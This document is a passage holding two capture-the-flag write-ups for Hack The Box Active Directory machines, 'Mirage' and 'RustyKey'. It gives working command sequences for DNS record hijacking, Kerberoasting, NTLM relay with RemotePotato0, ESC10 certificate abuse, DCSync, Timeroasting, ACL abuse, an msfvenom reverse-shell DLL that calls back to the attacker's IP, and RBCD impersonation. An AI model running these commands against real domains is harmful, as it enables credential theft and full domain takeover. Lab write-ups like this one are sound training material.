• Query the target host using NetExec , generate a host mapping file that contains information about the system’s fully qualified domain name (FQDN) and NetBIOS name, add the information to /etc/hosts for local resolution and delete the mirage_hosts file, since it’s not required.

nxc smb 10.10.11.78 --generate-hosts-file mirage_hosts && awk '{print $1, $2, $3, $4}' mirage_hosts | sudo tee -a /etc/hosts && rm mirage_hosts

• NTLM authentication is disabled, so we now access systems using their FQDNs

NFS Shares Enumeration

Initial NFS Discovery using showmount

• Listing all mount points accessible on the target server:

showmount -a dc01.mirage.htb

• Enumerating exported NFS shares, revealed that the /MirageReports share is world-readable:

showmount -e dc01.mirage.htb

• Enumerating the directories that have been mounted on the server:

showmount -d dc01.mirage.htb

NFS Enumeration using NetExec (nxc)

• Detecting the supported NFS protocol versions: 2, 3, and 4:

nxc nfs dc01.mirage.htb

• Listing the contents of the /MirageReports share:

nxc nfs dc01.mirage.htb --share '/MirageReports' --ls '/'

• Enumerating all available NFS shares on the host:

nxc nfs dc01.mirage.htb --enum-shares

File Extraction from NFS Share

• The Incident Report:

nxc nfs dc01.mirage.htb --share '/MirageReports' --get-file Incident_Report_Missing_DNS_Record_nats-svc.pdf Incident_Report_Missing_DNS_Record_nats-svc.pdf

• The Authentication Hardening Report:

nxc nfs dc01.mirage.htb --share '/MirageReports' --get-file Mirage_Authentication_Hardening_Report.pdf Mirage_Authentication_Hardening_Report.pdf

Analysis of the Extracted Reports

• Incident_Report_Missing_DNS_Record_nats-svc.pdf PDF details a DNS resolution failure for the hostname nats-svc.mirage.htb , which is critical for internal communication with the NATS messaging server. The report indicates that the hostname could not be resolved, causing connectivity issues with the service. DNS inspection confirmed that the record for nats-svc was missing, and event logs revealed that DNS scavenging had automatically removed stale records, likely because the nats-svc machine had been offline for more than 14 days.
• Meanwhile, the Mirage_Authentication_Hardening_Report.pdf outlines the organization’s planned, phased removal of NTLM authentication from the Mirage Active Directory environment. NTLM, being a legacy and insecure authentication protocol is vulnerable to attacks. As part of the hardening initiative, Mirage is migrating from NTLM to Kerberos, a modern, secure and widely recommended authentication protocol.

Actionable Steps

• The reports provided clear direction for actionable steps that could be taken to leverage the identified DNS misconfiguration.
• First, the missing DNS record for nats-svc.mirage.htb could be reintroduced, allowing us to register our own IP address as the service endpoint.
• To validate the issue, DNS queries were performed using nslookup, which confirmed that while other hostnames such as dc01.mirage.htb and mirage.htb resolved correctly, the hostname nats-svc.mirage.htb returned NXDOMAIN response, indicating that no DNS record existed.

> server 10.10.11.78
Default server: 10.10.11.78
Address: 10.10.11.78#53
> mirage.htb
Server:         10.10.11.78
Address:        10.10.11.78#53

Name:   mirage.htb
Address: 10.10.11.78
> dc01.mirage.htb
Server:         10.10.11.78
Address:        10.10.11.78#53

Name:   dc01.mirage.htb
Address: 10.10.11.78
> nats-svc.mirage.htb
Server:         10.10.11.78
Address:        10.10.11.78#53

** server can't find nats-svc.mirage.htb: NXDOMAIN
>

• Since the NATS service operates on port 4222, we verified port availability, which confirmed that the port was open and actively listening. This further supports the relevance of restoring the DNS entry.

nc -zv 10.10.11.78 4222

• With this information, the missing DNS record is reintroduced using nsupdate , issuing commands to the DNS server at 10.10.11.78 to create an A record for nats-svc.mirage.htb pointing to our IP address 10.10.14.241 , with a TTL of 86400 seconds (one day).
• This successfully registered our machine as the endpoint for the hostname.
• Finally, by listening on port 4222 , an inbound connection is received from the domain controller (10.10.11.78), confirming that the service was not only resolving to our IP but was also attempting to communicate with it.

• We proceed by deploying a local NATS server to emulate the internal service.
• This involves cloning the official repository, building the server using Go.

git clone https://github.com/nats-io/nats-server.git

• NATS server is launched in debug and verbose mode to monitor the incoming requests:

./nats-server -DVV

• To complement this, Wireshark is started on the VPN interface (tun0) so that all incoming NATS-related traffic can be captured in real-time.

wireshark -i tun0 -k

• Once monitoring is in place, the missing DNS record is recreated using nsupdate , pointing nats-svc.mirage.htb to our attacker-controlled IP.

┌──(nato㉿kali)-[~/HTB/Mirage]  
└─$ nsupdate  
> server 10.10.11.78  
> update add nats-svc.mirage.htb 86400 A 10.10.14.241  
> send  

• This forces internal Mirage services attempting to reach the legitimate NATS instance to instead route their traffic directly to us.

• The intercepted traffic contains clear-text credentials for the user Dev_Account_A . Though, the logs generated by the NATS server has a [Redacted] value for the password.

• However, attempts to authenticate against the domain using these credentials via SMB were unsuccessful, indicating the account may be restricted or intended only for internal application use:

nxc smb dc01.mirage.htb -u 'Dev_Account_A' -p 'hx5h7F5554fP@1337!'

• To further leverage this access, the official nats-cli is installed:

go install github.com/nats-io/natscli/nats@latest

• A connection context is configured using the intercepted developer credentials:

nats context add nato --user Dev_Account_A --password 'hx5h7F5554fP@1337!' --server nts://10.10.11.78:4222

• With this authenticated context in place, NATS environment is enumerated. The context listing shows only the profile that was created (nato):

nats context ls

• To reveal accessible streams:

nats --context nato account info

• This shows there is a single accessible stream.
• Enumeration identifies one named stream auth_logs , and viewing its contents exposes additional clear-text authentication events:

nats --context nato stream ls

• The entries contains valid domain credentials for david.jjackson:

nats --context nato stream view

• Using these credentials, authentication against SMB is successful, confirming domain access:

nxc smb dc01.mirage.htb -u 'david.jjackson' -p 'pN8kQmn6b86!1234@' -k

• From here, we proceed with standard enumeration. Listing shares returns only the default SMB shares:

nxc smb dc01.mirage.htb -u 'david.jjackson' -p 'pN8kQmn6b86!1234@' -k --shares

• Enumerating users with the obtained credentials provides a list of Active Directory users, including administrator accounts, standard user accounts, developer accounts and service accounts:

nxc smb dc01.mirage.htb -u 'david.jjackson' -p 'pN8kQmn6b86!1234@' -k --users

Active Directory Enumeration

• With valid domain credentials in hand, Rusthound-CE is used to enumerate the Active Directory environment:

rusthound-ce -d mirage.htb -u david.jjackson -p 'pN8kQmn6b86!1234@' -z

• Rusthound-CE outputs a BloodHound-compatible ZIP file (-z option), which is analyzed using the Bloodhound interface.
• After launching the BloodHound Docker stack and confirming that the application, graph database and backend services are running healthy, the Rusthound collection archive is uploaded for visualization.

• Running built-in queries provides an overview of privilege distribution in the domain.
• Searching for david.jjackson user does not reveal any interesting findings:

• The All Domain Admins query returns only the Administrator account, indicating domain-level privileges are tightly controlled.
• The All Kerberoastable Users query identifies nathan.aadam as a principal with an SPN suitable for Kerberoasting:

• To extract Kerberos service tickets for offline cracking, we use NetExec :

nxc ldap dc01.mirage.htb -u 'david.jjackson' -p 'pN8kQmn6b86!1234@' -k --kerberoasting mirage_kerberoast.txt

• The resulting ticket hash is processed using Hashcat tool with mode 131000 . Cracking the hash successfully yields the plaintext password for nathan.aadam :

.\hashcat.exe -m 13100 .\HTB\hashes\mirage_kerberoast.txt HTB\wordlists\rockyou.txt

• To reveal the hash:

.\hashcat.exe -m 13100 .\HTB\hashes\mirage_kerberoast.txt --show

• Authentication with the recovered credentials is confirmed via SMB:

nxc smb dc01.mirage.htb -u 'nathan.aadam' -p '3edc#EDC3' -k

• With verified access, a Kerberos configuration file tailored to the target domain is generated:

nxc smb dc01.mirage.htb -u 'nathan.aadam' -p '3edc#EDC3' -k --generate-krb5-file krb5.conf

• This configuration file is copied to /etc/krb5.conf to allow seamless Kerberos authentication:

sudo cp krb5.conf /etc/krb5.conf

Kerberos Access and Cross-Session NTLM Relay Attack

• We begin by obtaining a Kerberos Ticket-Granting Ticket (TGT) using the credentials of nathan.aadam:

getTGT.py 'mirage.htb/nathan.aadam:3edc#EDC3'

• The TGT is used to authenticate to the domain controller over WinRM:

KRB5CCNAME=nathan.aadam.ccache evil-winrm -i dc01.mirage.htb -r mirage.htb

• This grants us, an interactive shell on the domain controller as nathan.aadam domain user, from which we are also able to retrieve the user flag

• Further local enumeration reveals that an active user session exists (Session ID 1 on explorer and winlogon processes):

Get-Process | Where-Object { $_.SI -eq 1 }

• Attempts to run commands such as tasklist and qwinsta result in Access Denied error, indicating token or privilege restrictions.

• There is confirmation of a logged-in user however, enumeration of session details directly is prohibited.
• RunasCs.exe binary is uploaded and used to bypass limitations and execute commands under the current user’s token.
• The binary needs to be hosted locally:

cp /opt/SharpCollection/NetFramework_4.5_Any/_RunasCs.exe runascs.exe

python -m http.server

• It is then downloaded and run on the domain controller:

cd \ProgramData

wget http://<YOUR_IP>:8000/runascs.exe -o runascs.exe

./runascs.exe nathan.aadam '3edc#EDC3' qwinsta

• The execution successfully enumerates sessions and reveals that mark.bbond is currently logged in on Session 1.

• With confirmation of the logged-in user, Cross-Session NTLM relay is performed using RemotePotato0 , which exploits forced authentication from a higher-privileged session to our attacker machine.

wget https://github.com/antonioCoco/RemotePotato0/releases/download/1.2/RemotePotato0.zip

7z x RemotePotato0.zip

python -m http.server

• On the remote host, the exploit is uploaded and executed:

wget http://<YOUR_IP>:8000/RemotePotato0.exe -o RemotePotato0.exe

.\RemotePotato0.exe -m 2 -x <YOUR_IP> -s 1

Note: Before running the payload above, we need to forward DCOM traffic using socat

sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.10.11.78:9999

• The process resulted in an NTLMv2 hash for the logged-in user, mark.bbond.

• Hashcat is used to crack the captured hash:

.\hashcat.exe .\HTB\hashes\mark_ntlmv2 .\HTB\wordlists\rockyou.txt

• To reveal the hash:

.\hashcat.exe .\HTB\hashes\mark_ntlmv2 --show

• The credentials are verified via SMB:

nxc smb dc01.mirage.htb -u mark.bbond -p '1day@atime' -k

• The credentials are valid:

Account Reinstatement and gMSA Password Recovery

• An analysis of the environment in BloodHound revealed several key privilege relationships.
• The compromised user mark.bbond is a member of the IT_Support group and holds the ForceChangePassword privilege over javier.mmarshall.

• The javier.mmarshall account itself possesses the ability to read gMSA passwords for the Mirage-Service$ account.
• However, javier.mmarshall‘s user account is disabled, indicating that additional remediation would be required before leveraging its privileges.

• To understand the extent of our capabilities, we begin enumerating mark.bbond‘s account properties using bloodyAD , retrieving details such as his distinguishedName , logonHours and userPrincipalName:

bloodyAD --host dc01.mirage.htb --domain mirage.htb --username 'mark.bbond' --password '1day@atime' --kerberos get object mark.bbond

• His logonHours value was fully populated, indicating the account is permitted to authenticate at all times:

bloodyAD --host dc01.mirage.htb --domain mirage.htb --username 'mark.bbond' --password '1day@atime' --kerberos get object mark.bbond --attr logonHours,userPrincipalName

• Enumerating writable permissions for mark.bbond, confirmed that he maintains WRITE access over his own account which is normal, a ForeignSecurityPrincipal object, and most importantly, the disabled javier.mmarshall account:

bloodyAD --host dc01.mirage.htb --domain mirage.htb --username 'mark.bbond' --password '1day@atime' --kerberos get writable

• Given that mark.bbond has both WRITE access and the ForceChangePassword privilege over javier.mmarshall, we attempted to reset the account’s password:

bloodyAD --host dc01.mirage.htb --domain mirage.htb --username 'mark.bbond' --password '1day@atime' --kerberos  set password javier.mmarshall 'Password123!'

• However, authentication with the new credentials failed!

nxc smb dc01.mirage.htb -u javier.mmarshall -p 'Password123!' -k

• A deeper examination of javier.mmarshall’s attributes showed two issues: the logonHours attribute was empty, and the userAccountControl field contained ACCOUNTDISABLE flag:

bloodyAD --host dc01.mirage.htb --domain mirage.htb --username 'mark.bbond' --password '1day@atime' --kerberos get object javier.mmarshall

• Both of these conditions would prevent successful authentication regardless of password validity.
• For confirmation purposes, we compared with the attributes against another user who authenticated successfully (mark.bbond).
• Enumerating javier.mmarshall ‘s account attributes (logonHours, userAccountControl):

bloodyAD --host dc01.mirage.htb --domain mirage.htb --username 'mark.bbond' --password '1day@atime' --kerberos get object javier.mmarshall --attr logonHours,userAccountControl

• Enumerating mark.bbond ‘s account attributes (logonHours, userAccountControl):

bloodyAD --host dc01.mirage.htb --domain mirage.htb --username 'mark.bbond' --password '1day@atime' --kerberos get object mark.bbond --attr logonHours,userAccountControl

• Removal of ACCOUNTDISABLE flag using the UAC modification feature of bloodyAD , still led to authentication failure:

bloodyAD --host dc01.mirage.htb --domain mirage.htb --username 'mark.bbond' --password '1day@atime' --kerberos remove uac javier.mmarshall -f ACCOUNTDISABLE

nxc smb dc01.mirage.htb -u javier.mmarshall -p 'Password123!' -k 

• Updating the logonHours attribute to allow full login availability and password reset (optional), led to a successful authentication:

bloodyAD --host dc01.mirage.htb --domain mirage.htb --username 'mark.bbond' --password '1day@atime' --kerberos set object javier.mmarshall logonHours -v '////////////////////////////' --b64 --raw

Note: To execute the above command you need the latest version of bloodyAD.

• Password reset (optional):

bloodyAD --host dc01.mirage.htb --domain mirage.htb --username 'mark.bbond' --password '1day@atime' --kerberos  set password javier.mmarshall 'Password123!'

• With access restored, we obtained a Kerberos TGT for javier.mmarshall:

getTGT.py 'mirage.htb/javier.mmarshall:Password123!'

• As BloodHound had indicated, this account is permitted to read gMSA account passwords, so NetExec‘s LDAP module was used to enumerate gMSA secrets and successfully retrieve the NTLM hash for the Mirage-Service$ account:

nxc ldap dc01.mirage.htb -u javier.mmarshall -p 'Password123!' -k --gmsa

• Authentication using the hash was successful, granting access under the privileges of the Mirage-Service$ account:

nxc smb dc01.mirage.htb -u 'Mirage-Service$' -H 'edb5e64a04fe919e5c3fa6bfbf3c54d9' -k

Exploiting ESC10 via UPN Manipulation and RBCD to Achieve Full Domain Compromise

• Obtain a TGT for the Mirage-Service$ service account using its NTLM hash:

getTGT.py -hashes :edb5e64a04fe919e5c3fa6bfbf3c54d9 'mirage.htb/Mirage-Service$' -no-pass

• Using the generated credential cache, enumerate the Mirage-Service$ for writable permissions:

KRB5CCNAME=Mirage-Service\$.ccache bloodyAD --host dc01.mirage.htb --domain mirage.htb --kerberos get writable

• The output confirms that the account has write access over several objects, including mark.bbond,which is particularly interesting.

• Performing a detailed inspection of user-specific writable attributes, we identified that we can modify mark.bbond’s userPrincipalName (UPN), which is a key enabler for exploiting ESC10 vulnerability, a certificate-based attack:

KRB5CCNAME=Mirage-Service\$.ccache bloodyAD --host dc01.mirage.htb --domain mirage.htb --kerberos get writable --detail --otype USER

• Next, certificate-related enumeration is performed. No misconfigured certificate templates were discovered, confirming that this vulnerability does not stem from template misconfigurations:

KRB5CCNAME=Mirage-Service\$.ccache certipy-ad find -vulnerable -target dc01.mirage.htb -dc-ip 10.10.11.78 -k -stdout

• To validate ESC10 eligibility, we need to establish a WinRM session using previously obtained credentials:

KRB5CCNAME=nathan.aadam.ccache evil-winrm -i dc01.mirage.htb -r mirage.htb

If you can’t get a session try regenerating the TGT file

• Inspecting two critical registry values on the domain controller relevant for ESC10 exploitation:
• StrongCertificateBindingEnforcement : If set to 0 , certificates are not strictly bound to their intended accounts, weakening identity validation. The value here is 1 , meaning strong binding is enforced:

Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" -Name StrongCertificateBindingEnforcement

• CertificateMappingMethods : If set to 4 , the server permits insecure UPN-based certificate mappings regardless of stricter bindings. This value is set to 4, confirming the environment is vulnerable to ESC10:

Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\SecurityProviders\Schannel" -Name CertificateMappingMethods

• With ESC10 vulnerability confirmed, Mirage-Service$ account’s ability is leveraged to modify mark.bbond‘s UPN.
• First, the existing UPN needs to be retrieved for safekeeping (used later):

KRB5CCNAME=Mirage-Service\$.ccache certipy-ad account -user mark.bbond read -dc-ip 10.10.11.78 -target dc01.mirage.htb -k

• The UPN is then temporarily modified to impersonate the domain controller machine account: dc01$@mirage.htb:

KRB5CCNAME=Mirage-Service\$.ccache certipy-ad account -user mark.bbond update -upn 'dc01$@mirage.htb' -dc-ip 10.10.11.78 -target dc01.mirage.htb -k

• Verification of the modification:

KRB5CCNAME=Mirage-Service\$.ccache certipy-ad account -user mark.bbond read -dc-ip 10.10.11.78 -target dc01.mirage.htb -k

• This alteration allows requesting a certificate as if the request were being made by the domain controller itself.
• Using certipy , with the spoofed UPN in place, a certificate is requested that will authenticate as dc01$:

certipy-ad req -ca mirage-DC01-CA -template User -upn 'dc01$@mirage.htb' -dc-ip 10.10.11.78 -target dc01.mirage.htb -u mark.bbond@mirage.htb -p '1day@atime' -k

• Once the certificate is issued, the UPN is restored to avoid detection and for the vulnerability to actually work:

KRB5CCNAME=Mirage-Service\$.ccache certipy-ad account -user mark.bbond update -upn 'mark.bbond@mirage.htb' -dc-ip 10.10.11.78 -target dc01.mirage.htb -k

• To confirm the restoration:

KRB5CCNAME=Mirage-Service\$.ccache certipy-ad account -user mark.bbond read -dc-ip 10.10.11.78 -target dc01.mirage.htb -k

• The obtained certificate is then used to authenticate via LDAP, granting shell-like access to the domain controller as MIRAGE\DC01$:

certipy-ad auth -pfx dc01.pfx -dc-ip 10.10.11.78 -ldap-shell

• With this elevated identity, Resource-Based Constrained Delegation (RBCD) is configured enabling Mirage-Service$ to impersonate the domain controller to specific services:

set_rbcd DC01$ Mirage-Service$

• A service ticket is then generated, that impersonates the DC01$ account for the HTTP service on DC01:

KRB5CCNAME=Mirage-Service\$.ccache getST.py -spn 'http/DC01.mirage.htb' -impersonate DC01$ 'mirage.htb/Mirage-Service$' -no-pass

• This allowed us to execute a DCSync attack, retrieving the NTLM hash of the Administrator account:

KRB5CCNAME=DC01\$@http_DC01.mirage.htb@MIRAGE.HTB.ccache secretsdump.py -no-pass -k DC01.mirage.htb

• Once the hash was obtained, authentication as the Administrator account was validated:

nxc smb dc01.mirage.htb -u administrator -H '7be6d4f3c2b9c0e3560f5a29eeb1afb3' -k

• A fully privileged remote shell was obtained using psexec.py and the root flag retrieved:

psexec.py -hashes  :7be6d4f3c2b9c0e3560f5a29eeb1afb3 'mirage.htb/administrator@dc01.mirage.htb' -k

Conclusion

In the end, a single misconfigured certificate setting unraveled Mirage’s entire security posture, turning a simple service account foothold into full Domain Administrator. One UPN edit, one certificate, and the whole kingdom fell. Till next time folks!😎

References

• Certipy 4.0: ESC9 & ESC10 By Oliver Lyak
• NATS Server: GitHub
• NATS CLI: GitHub
• SharpCollection
• RemotePotato0

The RustyKey challenge begins with an assumed-breach scenario: We are provided with low-privilege credentials on a Windows Active-Directory environment. This setup simulates a post-compromise situation where an attacker already has limited access and aims to escalate priliveges and move laterally across the network.

Our objective is to map the attack surface, identify misconfigurations and escalate privileges to achieve full domain compromise. We start by performing network enumeration using Nmap and collecting Bloodhound data to understand the relationships between users, groups and computer accounts within the Active Directory environment. Early enumeration reveals an interesting computer account IT-COMPUTER3$ that may serve as a potential pivot point.

Leveraging Timeroasting, we target the computer account to recover its password offline using hashcat. This account possesses the ability to add itself to the HelpDesk group, which has the ForceChangePassword permission over a small set of users. Exploiting this permission, we gain access to those users, but to authenticate remotely, we must first remove them from Protected Objects group.

Using one of the acquired user accounts, we access the system via WinRM, where we discover a PDF discussing a new archiving tool (7-Zip) context menu feature. Upon further investigation, we learn that another user in the Support group has full control over the registry key linking this context menu to the 7-Zip DLL. By updating this key to point to a malicious DLL, we obtain a shell as a user in the DelegationManager group.

The user has the ability to configure Resource-Based Constrained Delegation (RBCD) on the domain controller. Using RBCD, we forge a service ticket, impersonate a privileged identity and ultimately gain full Domain Admin control, demonstrating a comprehensive attack path in an Active Directory environment.

About RustyKey

• OS: Windows
• Difficulty: Hard
• Release Date: 28 Jun, 2025

Network Enumeration

Nmap Network Scan

Initial enumeration identifies the host as a Windows Domain Controller with key AD services exposed.

sudo nmap -sC -sV -vv -oA nmap/rustykey 10.10.11.75

Relevant open ports:

• 53 — DNS
• 88 — Kerberos
• 389/3268 — LDAP/Global Catalog
• 445 — SMB
• 5985 — WinRM

A ~8-hour clock skew was reported in the script results. Since Kerberos is time-sensitive, this implies later steps will require NTP synchronization.

Hostname Enumeration via NetExec (nxc)

nxc smb 10.10.11.75 --generate-hosts-file ./rustykey_hosts

Output:

10.10.11.75     dc.rustykey.htb rustykey.htb dc

• We also observe NTLM Authentication is disabled, forcing Kerberos-only authentication.
• Add the hostname entry to /etc/hosts

• We proceed to generate a full krb5.conf to enable our Linux machine to communicate with the domain.

nxc smb 10.10.11.75 --generate-krb5-file rustykey.krb5conf

• We then copy the custom Kerberos configuration file to replace the default Kerberos settings.

sudo cp rustykey.krb5conf /etc/krb5.conf

Initial Foothold

• We begin with an assumed-breached credentials: rr.parker:8#t5HE8L!W3A

Fixing the Clock-Skew

sudo ntpdate 10.10.11.75

Validating Authentication with Kerberos

nxc smb 10.10.11.75 -u rr.parker -p '8#t5HE8L!W3A' -k

• The -k option must be included when using Kerberos since NTLM authentication is disabled.

Domain Enumeration

SMB Shares

nxc smb 10.10.11.75 -u rr.parker -p '8#t5HE8L!W3A' -k --shares

• Only default domain controller shares (ADMIN$, C$, SYSVOL, NETLOGON), we move on…

Graph-Based Enumeration with Rusthound-CE

• Extracting domain objects:

rusthound-ce -d rustykey.htb -u rr.parker -p '8#t5HE8L!W3A' -o rustykey_domain_objects

• Start Bloodhound and navigate to the browser address http://127.0.0.1:8080 , according to your initial configuration when installing Bloodhound:

• Import the JSON files into Bloodhound and mark rr.parker as owned since we have verified the credentials.

Bloodhound Analysis and Attack Path Discovery

Notable Findings:

Organizational Unit (OU) Structure

• IT
• Support
• Finance
• Domain Controllers

Administrators Group Members

• Administrator
• BackupAdmin

Abusable Edges

• We run a custom query on Bloodhound to reveal non-membership relationships between user/computer accounts and other AD Objects.

MATCH p=(source)-[r]->(target)
WHERE (source:Computer or source:User)
AND type(r) <> 'MemberOf'
return p

• When the query was run, we discover an important privilege edge:

IT-Computer3$ → HelpDesk (AddSelf)

• This means that the computer account IT-Computer3$ has the ability to add itself to the HelpDesk group.

• Also executing shortest path to domain admins query, reveals below interesting relationships:

HelpDesk Privileges

HelpDesk has ForceChangePassword rights over:

• ee.reed
• dd.ali (No Remote Login Rights)
• gg.anderson (Disabled User Account)
• bb.morgan

Users with remote login capability include:

• bb.morgan
• ee.reed

• bb.morgan is a member of IT OU and ee.reed is a member of Support OU (Remember this for later).
• This gives us a viable attack path: by adding IT-Computer3$ to the HelpDesk group, we inherit its ability to reset passwords for users like bb.morgan and ee.reed . With access to these accounts, we can continue probing the domain for the next escalation opportunity.

• We also spot something very interesting: IT-Computer3$ password was manually set, not auto-generated. This is due to the ~6.5 hour difference between the Created time and Password Last Set time. Normally, Computers have their password set at creation time and changes its password every 30 days by default. We know that manually generated password are potentially weaker than automatically generated ones.
• This presents an opportunity to perform Timeroasting Attack

• Observing another Computer Account IT-Computer1$ the Created time and Password Last Set time are the same

Timeroasting Attack on IT-Computer3$

Timeroasting abuses Microsoft’s NTP authentication extension, where a Domain Controller signs time-sync responses using a cryptographic Message Authentication Code (MAC) derived from the computer account’s NTLM hash. Because the DC does not authenticate NTP requests and relies only on a supplied RID, an attacker can request MACs for any computer account and obtain a crackable, password-derived value. If a machine uses weak or manually set password, the attacker can brute-force it offline and gain valid AD machine credentials.

Execute Timeroast

• NetExec has a module for Timeroast Attack

nxc smb 10.10.11.75 -M timeroast

We crack the hashes using hashcat

• The extracted RID 1125 when searched on Bloodhound, corresponds to IT-Computer3$

• We perform authentication to verify the validity of the password using nxc

nxc smb 10.10.11.75 -u IT-COMPUTER3$ -p 'Rusty88!' -k

• The credentials are valid!

ACL Abuse with IT-Computer3$

Add IT-Computer3$ to HelpDesk

• We use bloodyAD tool to perform this DACL Attack:

bloodyAD --host dc.rustykey.htb --domain rustykey.htb --username 'IT-COMPUTER3$' --password 'Rusty88!' --kerberos  add groupMember Helpdesk 'IT-COMPUTER3$'

Reset bb.morgan’s password

• We now have the ability to reset passwords of users in the HelpDesk group

bloodyAD --host dc.rustykey.htb --domain rustykey.htb --username 'IT-COMPUTER3$' --password 'Rusty88!' --kerberos  set password bb.morgan 'Password123!'

• We now request a Ticket-Granting-Ticket (TGT) that will enable us to remotely login as bb.morgan

getTGT.py 'rustykey.htb/bb.morgan:Password123!'

• The login fails using the generated TGT
• bb.morgan belongs to the Protected Users group. Protected Users cannot authenticate using NTLM, cannot use weaker Kerberos encryption types, cannot be delegated and cannot renew TGTs beyond the four-hour limit; these restrictions normally prevent attackers from abusing their credentials or requesting kerberos tickets. By removing bb.morgan from the group, we restore the normal Kerberos behavior for the account.
• Fortunately, we can remove users from Protected Users group, since we have write permissions on the group:

bloodyAD --host dc.rustykey.htb --domain rustykey.htb --username 'IT-COMPUTER3$' --password 'Rusty88!' --kerberos  get writable

• Remove bb.morgan from Protected Users Group:

bloodyAD --host dc.rustykey.htb --domain rustykey.htb --username 'IT-COMPUTER3$' --password 'Rusty88!' --kerberos  remove groupMember 'Protected Objects' 'IT'

• With these protections lifted, we attempt to again to request a Kerberos TGT for bb.morgan user.
• This time the TGT is successfully issued, confirming that the account can perform standard Kerberos authentication.

• Since bb.morgan has Remote Login rights (WinRM), we use the issued ticket to authenticate and obtain a remote shell access via:

KRB5CCNAME=bb.morgan.ccache evil-winrm -i dc.rustykey.htb -r rustykey.htb

Privilege Escalation

• After gaining remote access as the user bb.morgan via WinRM, enumeration of the user profile reveals two key artifacts: the user.txt flag file and an internal document (internal.pdf). The PDF reveals that the IT department is currently deploying a new file archiving feature intended to streamline support tickets related to extraction and compression tasks. During this rollout some systems are experiencing issues with context menu actions, requiring registry-level adjustments. To facilitate troubleshooting, the Support team has been granted temporary extended access across shared workstations.

• Investigating this lead, we check installation paths and confirm that 7-Zip is present under C:\Program Files , while no alternate archiving utilities are installed under C:\Program Files (x86) .

• Since context menu shell extensions are typically registered under Class Identifiers (CLSID) entries, we enumerate the relevant registry keys using:

reg query HKCR\CLSID /s /f "zip"

• This reveals the CLSID associated with 7-Zip’s shell extension.
• Querying its ACL, shows that the Support group has Full Control over this registry path, which governs which DLL is loaded when a user clicks the archive/extract option in the context menu.

Get-ACL "HKLM:\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" | Format-List

Switching to ee.reed

• Since we already know that ee.reed is a member of the Support group, using the same DACL-Abuse chain as before (adding IT-Computer3$ to HelpDesk , changing ee.reed ‘s password and removing Protected Users constraints), we proceed to obtain a valid TGT for the ee.reed account.

• While a Kerberos TGT can be successfully issued for ee.reed , the account does not have the required level of WinRM login rights, preventing direct remote access.
• To Bypass that limitation, runascs.exe is uploaded to the bb.morgan ‘s session, enabling a PowerShell session to be spawned as ee.reed .

Generating Malicious DLL

• With this access, a malicious DLL reverse shell is generated using msfvenom :

msfvenom -p windows/x64/shell_reverse_tcp -f dll -o shell.dll LHOST=10.10.14.94 LPORT=9001

• The DLL is the uploaded on ee.reed ‘s session:

Replacing the Handler DLL

• We will leverage registry-based privilege misconfiguration to perform DLL Hijacking of the trusted shell extension (7-Zip).

Querying the CLSID Registry Entry

Get-ItemProperty "HKLM:\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32"

• By inspecting this registry key, we can see the current DLL path that is executed by Windows.

Modifying the CLSID to Load a Malicious DLL

Set-ItemProperty "HKLM:\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" -name "(default)" -value "C:\ProgramData\shell.dll"

• This overwrites the (Default) value of the CLSID entry to point to the malicious DLL we have uploaded.
• As a result, any action that triggers the 7-Zip context menu extension will now execute the malicious DLL, effectively allowing code execution in the context of the user with the permissions to modify this key.

Preparing the Listener

rlwrap nc -nlvp 9001

• With this, we will receive the reverse shell connection from the malicious DLL.
• The use of rlwrap ensures proper readline support for interactive shell input/output.

Achieving Remote Code Execution

• Once the malicious DLL is triggered (By invoking a context menu action that loads the 7-Zip extension), it initiates a connection back to our listener. After a minute or so, we receive a reverse shell as the mm.turner user.

Resource-Based Constrained Delegation (RBCD)

• Upon enumeration, the mm.turner belongs to the DelegationManager group.
• This group has AddAllowedToAct rights over the Domain Controller object, enabling Resource-Based Constrained Delegation (RBCD).

Confirming No Existing Delegation Allowed

Get-ADComputer DC -Properties PrincipalsAllowedToDelegateToAccount

• The returned object initially shows:

PrincipalsAllowedToDelegateToAccount : {}

• This means that no principals currently have RBCD permissions over the Domain Controller, which is ideal for us.

Assigning IT-Computer3$ as an Allowed Delegation Principal

Set-ADComputer DC -PrincipalsAllowedToDelegateToAccount 'IT-COMPUTER3$'

• This sets the machine account IT-Computer3$ as a principal allowed to impersonate identities to the DC.
• After running the command, verification shows:

PrincipalsAllowedToDelegateToAccount : {CN=IT-Computer3,OU=Computers,OU=IT,DC=rustykey,DC=htb}

Impersonating BackupAdmin via RBCD

• We need to select a target user that can be impersonated via constrained delegation by reviewing the AccountNotDelegated Flag
• We have two high value targets, Administrator user and BackupAdmin user accounts:

Get-ADUser Administrator -Properties AccountNotDelegated

• The Administrator account is marked with the AccountNotDelegated flag:

AccountNotDelegated : True
DistinguishedName   : CN=Administrator,CN=Users,DC=rustykey,DC=htb
Enabled             : True
GivenName           : 
Name                : Administrator
ObjectClass         : user
ObjectGUID          : b8ed1fa0-613e-4937-b5fb-3ae9978c9ffc
SamAccountName      : Administrator
SID                 : S-1-5-21-3316070415-896458127-4139322052-500
Surname             : 
UserPrincipalName   : 

Hence,

• The account cannot be delegated under any form of Kerberos delegation.

On the other hand:

Get-ADUser BackupAdmin -Properties AccountNotDelegated

• The BackupAdmin account does not have delegation protection enforced:

AccountNotDelegated : False
DistinguishedName   : CN=backupadmin,CN=Users,DC=rustykey,DC=htb
Enabled             : True
GivenName           : backupadmin
Name                : backupadmin
ObjectClass         : user
ObjectGUID          : adea093f-5ec8-4ac7-9da3-196a1b1fa37d
SamAccountName      : backupadmin
SID                 : S-1-5-21-3316070415-896458127-4139322052-3601
Surname             : 
UserPrincipalName   : backupadmin@rustykey.htb

This means:

• The BackupAdmin account is selected because it is not marked as AccountNotDelegated , making it eligible for RBCD impersonation.

Generating a Service Ticket

• A delegated service ticket is created:

getST.py 'rustykey.htb/IT-COMPUTER3$:Rusty88!' -k -spn 'cifs/DC.rustykey.htb' -impersonate backupadmin

Shell as BackupAdmin

• The service ticket enables remote execution as BackupAdmin via WMI

